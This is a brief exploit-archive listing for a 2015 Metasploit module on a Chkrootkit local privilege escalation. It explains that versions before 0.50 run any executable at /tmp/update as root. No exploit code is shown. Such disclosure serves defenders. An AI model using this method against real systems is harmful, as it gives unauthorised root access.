Chkrootkit Local Privilege Escalation

Chkrootkit Local Privilege Escalation
Posted Nov 20, 2015
Authored by Thomas Stangner, Julien jvoisin Voisin | Site metasploit.com

Chkrootkit before 0.50 will run any executable file named /tmp/update as root, allowing a trivial privsec. WfsDelay is set to 24h, since this is how often a chkrootkit scan is scheduled by default.
